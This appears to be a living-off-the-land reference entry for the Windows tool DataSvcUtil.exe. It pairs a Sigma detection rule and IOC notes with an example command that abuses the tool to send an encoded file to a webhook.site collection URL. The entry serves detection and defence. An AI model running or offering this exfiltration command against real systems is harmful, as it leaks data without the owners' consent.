DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile
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C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml, IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory., IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS., IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.
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